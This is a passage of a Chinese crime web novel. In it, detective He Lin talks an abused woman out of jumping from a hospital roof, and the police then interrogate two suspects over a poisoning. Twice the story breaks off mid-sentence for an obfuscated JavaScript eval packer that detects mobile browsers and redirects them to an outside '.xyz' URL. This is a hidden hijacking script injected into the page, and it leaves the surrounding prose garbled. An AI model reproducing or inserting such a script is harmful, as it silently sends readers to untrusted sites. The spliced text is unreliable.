贺临观察着刘予舒的情绪变化,见她冷静下来,又上前一步拉近了和她的距离,他继续道:“你们还没有离婚,你如果现在跳下去,他就还是你名义上的丈夫。你的尸体只有他能认领。他还要给你操办葬礼,想想那场面多可笑啊,你一动不动地躺在那里,众人围在你身边,看着那个男人为你痛哭流涕,听他说你是他今生的挚爱,希望以后可以将你们两个合葬在一起,你将生生世世跟他待在一起,哪怕你已经变成了一捧灰,也甩不开他了!” “哦对了。”贺临看向她,嘴边挑起一个有点恶劣的笑,“你的遗产都是他的,你辛辛苦苦,没日没夜照顾人赚到的钱,会被他拿去干什么呐?或许很快就会有另一个可怜的女人过上你曾经的日子,而这一切,都是因为你现在的冲动造成的。” 贺临的话起了作用,句句都敲在她的心头,刘予舒干呕了几下,只觉得心快要跳出嗓子眼了。 但她此时的神志已经清醒,似乎大脑终于能够正常思考。 对,他们还是名义上的夫妻,她就算是死了,做鬼也做不安宁。 她不能让那个人脏了自己的黄泉路,更不能再让无辜的人步上自己的后尘! 18.15 刘予舒现在不想死了,她哆哆嗦嗦地自己从栏杆处翻了过来,在护栏外站了一会,她的腿软了…… 贺临大步过去,牢牢地抓住了她的手臂,将她从危险的地方拖下来。 黎尚也上前,两人一起把她带到了安全的地方。 算是死里逃生的刘予舒,呆呆地站在原地,看向贺临的眼神带着茫然和希冀。 贺临原本已经不准备再跟她多说什么了,但是他被这样的眼神盯了一会,终于还是认真地看着刘予舒道:“你要相信,错的不是你,你生来就是自由的。” 刚才的孤勇用尽了。 刘予舒缓缓地蹲下身来,把头埋在膝盖里抱紧了自己。 她蜷缩成了小小的一团,细碎的呜咽声从喉咙里传出。 贺临示意一起上来的护士和赶来的程笑衣照顾一下刘予舒,确保她的安全。 他自己带着黎尚往楼梯间的方向后退了几步,给她留出崩溃的空间。 贺临这才从兜里摸出一根烟,叼在嘴里,侧头看了一眼一直盯着他瞧的黎尚。 他知道黎尚不抽烟,又走了几步,背过身才给自己点了一根,刚抽了一口身后就响起了嚎啕大哭。 女人似乎要将自己曾经受过的所有屈辱都哭出来,或许只有用这样的方式,才能让今后面对一切的勇气重新生长出来,为了她渴望的自由,再次孤注一掷,去拼一拼属于她自己的人生。 听到这样的哭声,贺临吐烟圈的动作顿了一下,他却没有回头。 黎尚站在贺临的身后,他看了一眼还缩在天台上痛哭的女人,回过头眼前是贺临高大又熟悉的背影。 虽然境遇不同,但此时他们三个人都站在了阳光里。 . 下午的云城市第一人民医院,贺临带着警员们处理了后续问题。 他们从天台上下来以后,阳光褪去,天色转阴。 到了傍晚,雨终于下了下来,似乎连老天也在为这些女人悲泣。 院方和万红在之前有协议,肿瘤科的二十几名重症护工都是她负责提供的。 那些女人大部分是离家出走的,其中有些被家人报了失踪。 她们宁愿生活在这里,也不愿意回家。贺临给她们进行了简单的登记,确认了身份,随后再三保证不会向外界透露她们的行踪。 他向陈局说明了情况,利用警方的关系暂时封锁了媒体消息。 但是同时,贺临也对这样的情况有些忧心,万红和案件有了牵扯,这些女人很可能在这里做不长久。 万一医院这边主动辞退这些护工,她们又能去哪里安身呢? 终于,万红和唐爱莲都被带到了市局,关在了不同的审讯室里。 时间已经临近下班,大家商量了一下,决定今晚加班夜审,他们给两位嫌疑人安排了晚饭。 队员们稍事休整,整理好手上的证据。 贺临把人分为了两组,黎尚和程笑衣审问唐爱莲,吴韵声和方觉负责审问万红。 他在观察室里,听着两边的进度。 第一审讯室里进展得更加顺利,程笑衣问得柔声细语,细致入微,她没有强烈的攻击性,唐爱莲也十分配合,几乎是问到了就会给出回答。 黎尚在一旁安静听着,负责进行记录。 “上个月二十七号那天,郭木春去过医院的住院部,你知道这件事吗?” “我没有看到他,但是后来我听别人说了。郭木春不知道从哪里听说了我在医院里的消息,就来这边闹事,可是他没能上楼,就被保安们赶出去了。” “我们调取了肿瘤科的记录,在上个月的二十九号下午,你请假了。直到凌晨你才回来,那段时间你去了哪里?做了什么?” “我……”唐爱莲低头迟疑了一会,抬起头道,“我回家了……” 光线略微不足的审问室里,气氛凝重而略显压抑。 唐爱莲坐在冰冷的审讯椅上,身体微微颤抖,眼神之中满是惶恐不安,她像是鼓起了极大的勇气,小声补充了一句:“我准备去见郭木春,但是我没有杀他……” 程笑衣抬头,看向面前的女人:“你回去都做了什么?请你详细说一下整个过程和当时的情况。” 唐爱莲的双手紧紧绞在一起,关节因为用力而微微泛白:“上个月二十八号,晚上的时候,红姐找我聊过一次,她当时说……郭木春这样来医院里闹事很危险,有可能会让别人知道我们在这里。她让我回家找郭木春谈谈这件事。” “我当时……我当时害怕极了,我哭着求红姐,我不敢去见郭木春,那个男人见到我可能会把我打死的。” 唐爱莲的声音发颤,继续讲述当然的情况。 “我求红姐给我换个地方,我什么都愿意做。可是红姐还是让我回家去,她说……这是我的家事,应该自己去处理好。不能给其他人带来危险。” “我不去,她就威胁我说她会和郭木春直接聊,把我交出去。如果我不希望这样的事情发生,最好自己去主动找他,和他好好谈谈。红姐答应我,如果我处理好了,还能回来继续在医院里做护工。” 说到这里,唐爱莲低下了头,像是一只受伤的小鸟,收拢起了自己的翅膀。 “然后呢?”程笑衣追问。 唐爱莲深吸了一口气才继续说:“二十九号下午的时候,我请假出了医院,我想到要面对郭木春,还是觉得很害怕,后来我去超市里买了一把水果刀防身,到了离家不远处。我一直犹豫着,不知不觉就到了晚上,我又去小超市买了点吃的,然后我就看到了架子上的酒……” “我平时是不喝酒的,郭木春喝,他喝了以后就像是变了一个人,我过去很恨这个东西,但是当时,我想也许我喝上一点,就有胆子面对他了。” “我买了一瓶二锅头,一斤的那种,一口气喝了半瓶,我的头晕晕沉沉的,确实胆子大了不少。那时候已经是晚上十点多了,楼下的人也不多,我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14811624|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里的灯还亮着,就鼓起勇气上了楼。用我的钥匙打开了门。他一直没有换锁。” 审讯室里,唐爱莲的呼吸渐渐加速,手指也逐渐攥紧,发出轻微的关节响,她的讲述忽然停在了这里。 程笑衣微微皱眉,继续问她:“进屋后呢,发生了什么?你见到他了吗?” 唐爱莲的目光变得有些迷离,说不清是开心还是迷茫,亦或在其中有些什么别的复杂感情。 女人的嘴唇颤抖着:“我看到……我看到郭木春躺在了客厅的地上,他在抽搐着,口吐白沫……他让我救他……” 随后她的身体轻微一抖,像是从可怕的幻象里挣扎了出来,回到了现实之中:“我……我当时吓坏了,以为是自己喝多了出现了幻觉,我吓得蜷缩在沙发上,我怕他打我,也怕他碰到我,我一动也不敢动。” “后来我的酒劲儿上来了,头晕得厉害,我在沙发上躺了一会,可能睡着了,也可能没有。” “等我再次清醒,发现他躺在地上,已经不动了,我吓了一跳,到他的鼻子底下摸了摸。他没气了,人都开始凉了,硬了。” “我想,也许是他心脏病发作了,也许是因为他吃了药又喝了酒。我很害怕,但是又觉得他这样是活该,死有余辜。” “我当时的想法是,不能让其他人知道我回来过,我看到桌子上摆着他的杯子,就把杯子洗了,又把客厅里的地拖了,小心地把我碰过的地方都擦了一遍,然后我用布子垫着关了灯,锁了门出去……” “后来我趁夜打车回了医院,装作什么都没有发生过……” 说到这里,她的头低了下来,像是一个犯了错的孩子,祈求大人们的原谅:“我心里一直很害怕,我因为见死不救这件事很后悔,可是当时即便我打电话救他,他也活不下来。可能救护车没来,他就已经死了。如果因为这些要判刑,那我都认。” 说到这里,唐爱莲哭了,她用手胡乱擦着脸上的泪,声音中带着无助:“但是你们要相信我,我真的没有杀他。我做不出来杀人这种事。如果我要杀他,那我可能早就动手了,没必要自己躲出去受罪。” 观察室里的贺临皱眉听着。 尸检结果显示,郭木春是中毒而亡,这是明显的谋杀。 他从情感上不希望眼前的女人是凶手,但是作为一名刑警,他必须理性地处理每个案件,辨别出案子的凶手。 这些目前只是唐爱莲的一面之词,也许她在说谎;也许她当时喝了酒,趁着醉意毒杀了郭木春,但是忘记了行凶过程;也许凶手另有其人;也许事情还有其他的真相。 不过,这些证词之中有一些信息是能够确定的,第一,当晚唐爱莲确实回过家,出现在第一案发现场;第二,不止一批人当晚去了郭木春的家里,破坏过现场,打扫过客厅的地面,所以那里才会异常干净。 贺临想到这里长叹了一声。 看来,这个案件背后的真相比他们想象之中还要复杂。 19.16 审问室里,程笑衣转头和黎尚小声交流了几句,询问他这些供词有没有什么问题。 黎尚低头把记录册给她看了一眼,指了指其中的一个地方。 程笑衣马上会意,她扭头问:“当初,万红和你聊的时候,有没有详细说让你怎么处理这件事?” 刚才在唐爱莲的描述中,到了这里好像跳过了一些细节。 唐爱莲看糊弄不过去,低头犹豫了一会,她的额头上冒出了细密的汗珠。女人叹了口气,用双手掩住了脸,颤声道:“红姐让我杀了他。” “方法呢?她有没有告诉你具体怎么做?”程笑衣之前温柔的声音变得严肃,紧盯着唐爱莲的反应。 女人的身体颤抖:“她……她让我对郭木春态度好点,任他打,任他骂,等他放下戒心,给他下药。然后,她还专门给了我药。”说到这里唐爱莲的汗顺着鬓角流了下来,“可是我知道,我熟悉郭木春,这样根本没用的,他会打我,打不死的话就把我绑起来,关起来,我根本就没有办法给他下什么……” “后来我一回去就发现郭木春死了,红姐准备的东西也没用上。” 程笑衣继续追问:“那些东西呢?” 唐爱莲低下了头,声音怯懦:“就一点点,在一个小瓶里面,说是能毒老鼠的,没有什么特别的味道,这件事情结束以后,我把那些药倒在厕所里了,瓶子也扔了。” 贺临听到这里,在耳机里提醒他们道:“再问她一些细节,问得详细一些,不要放过任何一个疑点。” 程笑衣又开始问询,她让唐爱莲给出更为详细的时间线,后期好去调取相应的监控,寻找能够证实她说法的人证物证。 每一处细节,程笑衣都仔细询问,唐爱莲也在努力回忆着,回答着。 又问了几分钟,唐爱莲忽然像是想到了什么,她的呼吸急促起来,双眼猛地睁大:“我知道了,是红姐,是红姐杀的人!她说过,不能让郭木春影响到这边,万一他找什么媒体曝光,她就没法往这边安排护工了!” 想到了这一点,她似乎把一切都理顺了,语气也变得激动起来:“没错,就是她!她让我不要害怕,让我放心,大胆去做。说会想办法找人处理后续的事。要不是因为她做了什么,你们警方也不会这么久才找到我。” 这些分析虽然是唐爱莲在情急之下说出来的,但是贺临不得不承认,她的话有一定道理。 在郭木春的死亡事件之中,万红的确是做了很多,她的嫌疑也很大。 但是现在,光凭现有证据,对唐爱莲更不利。 此时另一侧的审问室里,万红正在接受吴韵声和方觉的问话。 女人坐在审讯椅上,姿势悠闲,双臂环抱在胸前,脸上带着一丝淡淡的微笑,侃侃而谈:“我是给了那些孩子们一些信息,可我哪里知道,他们会去盗窃呢?我也给那些女人们安排了护工的工作,可是这又怎样?我只是可怜她们,那个男人的死和我可没关系。” 她三言两语就把自己推得干干净净,语气中还带了点委屈,仿佛她才是受害者。 方觉听不下去了,他的脸色发沉:“你所说的做好事,就是指让那些女人在医院里做护工,然后工资都交给你?你这分明是把她们当做你的敛财工具。” 万红选择了在女人们最无助最脆弱的时候,把她们带入医院,做重症护工,断绝了她们和外界的联系,让她们在她的掌控下,为她卖命。这和把人卖到黑煤窑也没什么差别了。 万红却理直气壮地反驳道:“怎么可能?她们的日用品吃喝拉撒不要用钱啊?再说了,医院上下哪里不用打点?要不是她们哭着求我,我怎么会带她们去那里?不是我收留她们,那些女人可能早就被男人打死了。” 吴韵声道:“你还有放高利贷的行为。这也是在做好事吗?你这是在违法犯罪!” “我借给街坊邻居一点钱,人家感谢我,多给我点作为感谢的利息怎么了?你们不信就去问那些借钱的人。” 这一幕看得方觉不自觉得攥紧了拳头,对她又气又恨。 女人看起来八面玲珑,能言善辩,她明明在便宜坊没少占便宜,却好像自己是在忍辱负重,受了委屈一般。 她把那里搅得风风雨雨,失业者受到了她的蛊惑,女人们被她变相利用。 现在她又在这里胡搅蛮缠,试图混淆警方的判断,逃脱法律的制裁。 “你这是在钻法律的空子。”方觉皱眉。 万红回怼他:“我是钻了点空子,但是前提也是有空子可钻,如果没有失业的人,他们怎么会想尽办法生存下来,用尽一切办法搞钱?如果没有这么多家暴的男人,受欺负的女人,我去哪里找这些廉价的劳动力呢?这些都是社会的问题,总不能怪到我一个人头上。” 这几句话把对面的警员们说得无言。可这些顽疾又岂是他们这些基层能够一朝一夕改变的? 贺临在耳机里提醒老吴:“别被她转移重点,把话题拉回来。唐爱莲那边说万红曾经给她提供药物。但是她否认了自己是凶手,她说人可能是万红杀的。你们抓住这个问题往下问。” 吴韵声轻咳两声,把话题拉入正题:“郭木春的死到底和你有没有关系?” 万红脸上的笑容消失,但她还在嘴硬:“当然没有。我和他无冤无仇,为什么要杀他?你们不要听唐爱莲胡说八道,她是在推卸责任,想要找人替她背锅。” 吴韵声道:“你给了唐爱莲一瓶毒药。” 万红的身体明显一僵,眼神之中闪过了一丝慌张,可随后她又马上反应过来,强装镇静道:“警官你这么说,算是指认我吗?说话要讲证据。你有什么证据证明我给过她药?我看你们是找不到凶手,想拿我来顶罪吧?” 吴韵声步步紧逼,眼神紧盯着万红:“上个月二十八号你去医院见过唐爱莲。二十九号她就请了假,回到她与郭木春的住处。还有,二十九号上午,你见过范晓庄,下午,他去给郭木春家送了加药牛奶,晚上他们又去行窃。这些事情都和你有关,你怎么解释?” 这女人至少进行了两层布置,也许还在后面做过更多的手脚。 无论警方查到了哪一层,她都可以最大限度地洗脱自己的嫌疑。如果这件事真的是她所为,那她真是个心思缜密,手段高明的凶手。 万红安静了一瞬,随后道:“好吧,既然那些人不仁,那我也就不替他们藏着掖着了,人是唐爱莲杀的,她和我说都是她老公惹的麻烦,她自己去处理。至于范晓庄那里,我只是偶然和他们提起了这边的情况,什么药的事我不清楚。那是唐爱莲诬陷我的,我是不会承认的。” 她似乎在心里认定了,唐爱莲手里的药已经没有了,范晓庄也没有证据,现在警方拿不出任何实质证据来指证她。所以才这么有恃无恐。 吴韵声问:“二十九号晚上你在做什么?” 万红道:“郭木春死的时候,我和几位老板在聚餐,然后我去了KTV,一直待到快12点才出来,很多人都可以为我作证,我有不在场证明。你们不要在我身上浪费时间了,我是清白的。” “我都没告诉你郭木春的准确死亡时间,你又是怎么知道的?”吴韵声再次戳穿了她,“而且你所说的那家KTV距离郭木春家不远,只需要二十分钟,你就足够来回了。你能给唐爱莲毒药,那就说明你能搞到这种东西。” 万红的脸色又是一变,她低了头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14815949|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝正面回答:“死亡时间是我猜出来的,唐爱莲只有那段时候能去杀人,我知道的都说了,其他的我不清楚。我也没什么好说的了。” 审到了晚上九点多,贺临揉了揉太阳穴:“今天先到这里吧。” 两组人从审讯室里出来,把口供对了一遍,方觉啧了一声,满脸无奈道:“一个人一个说法,这倒是整出了一出罗生门。总不会其中还有鬼吧?” 黎尚低头看着资料,他轻声说:“也许我们遗漏了什么。” 贺临道:“大家辛苦了,找到了两位失踪者已经是很大的进展,回头我们再核对下手里的证据,明天再审。” . 夜色将整个城市紧紧包裹。 贺临回到家后有些疲惫,简单扒拉了几口外卖,用热水冲刷过紧绷的身体,随后一头栽倒在床上。 身体停止了运转,他的思绪却一直在思考着这个案子,并未停歇。 浅眠如同一张随风而动的薄纸,朦朦胧胧地盖在眼前,其后总是有人影晃动,可他却一个也分辨不出。 忽然有什么东西从高处吧嗒一声坠落在地,那是个跳楼的女人,穿着一身深色的衣服。如同一朵被蹂躏后扔在了地上的紫色康乃馨。 女人长发,整个身体像是被绞肉机绞过,全身上下都是伤痕,几乎没有一处好肉。 贺临注意到,那些伤不光是跳楼造成的,她的手脚扭曲,身上都是紫色红色的伤疤,层层叠叠,仿佛在无声诉说着她曾经的遭遇。 他在心中暗想着,要尽快取证,辨认死者的身份。 他看着死去的女人,觉得十分眼熟,可他却完全分辨不出那是谁的脸,也想不起来是在哪里见过她。 跳下来的人长得像是唐爱莲,可又比她细瘦,有点像刘予舒,又比她年长。 他心急地想要弄清楚真相,可一低头,手中纸上都是密密麻麻的字迹,那些字他一个也看不懂。他焦急地回头,本能地想去寻找黎尚,可黎尚却不在他的身边。 他的身侧站了一个男人,安静无声地看向他,可他却看不清男人的脸。 随后那人转身,与他渐行渐远,他的心口处涌起了一股莫名的酸涩,从身体中萌发而出。 贺临在梦中拼命回想着各种糖果甜蜜的味道,可是那些甜似乎不足以掩下那种强烈的酸。 贺临睡到这里,梦就醒了,他起来看了看时间,现在刚刚早上七点多。 但此时,他已睡意全无,简单洗漱后,驾车驶向市局。 市局大楼的门头在晨曦之中,显得格外庄严肃穆。 贺临还没走到失踪调查科的门口,就敏锐地察觉到办公室里有人。那扇磨砂玻璃门后,隐隐透出一种莹白色的光,在那光晕里,有个人影端坐其中。 贺临轻轻推开了办公室的门,只见黎尚已经坐在了工位上。他的腰背笔直,面前的电脑开着,桌面收拾得干净,没有一丝杂乱,桌上右手边放了一杯热茶,袅袅的茶香在办公室的空气中弥漫开来。 黎尚听到门响,抬起眼眸,定定地望向他。 贺临站在办公室的门口,他难以形容看到眼前这一幕时的感觉,好像这种场景在以前也曾经出现过。 像是他独自回到冰冷的家,一推开门就发现了阔别已久的故人,一股温暖填满了胸腔。 只是黎尚的脸色看起来不太好,有些苍白。他似乎没料到有人这时会忽然过来,一只手的手腕是抵放在肋下心口处的。 看到他的动作,贺临不知为何心里一紧,脑中想到了一个成语:西子捧心。 他问他:“不舒服吗?” 黎尚把手放下:“没什么。”然后和他打了个招呼,“贺队早。”